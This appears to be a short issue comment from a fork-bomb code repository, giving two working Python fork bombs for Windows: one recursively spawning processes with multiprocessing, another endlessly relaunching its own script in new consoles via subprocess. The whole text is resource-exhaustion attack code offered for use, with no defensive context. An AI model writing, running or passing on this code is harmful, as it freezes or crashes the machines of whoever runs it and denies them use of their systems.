fork-bomb
fork-bomb copied to clipboard
python's fork bomb won't work on windows (unless its wsl)
For Windows:
import multiprocessing
def forkbomb():
while True:
p = multiprocessing.Process(target=forkbomb)
p.start()
if __name__ == '__main__':
forkbomb()
I guess this code (below) is much better on Windows:
import subprocess, sys
while True:
subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)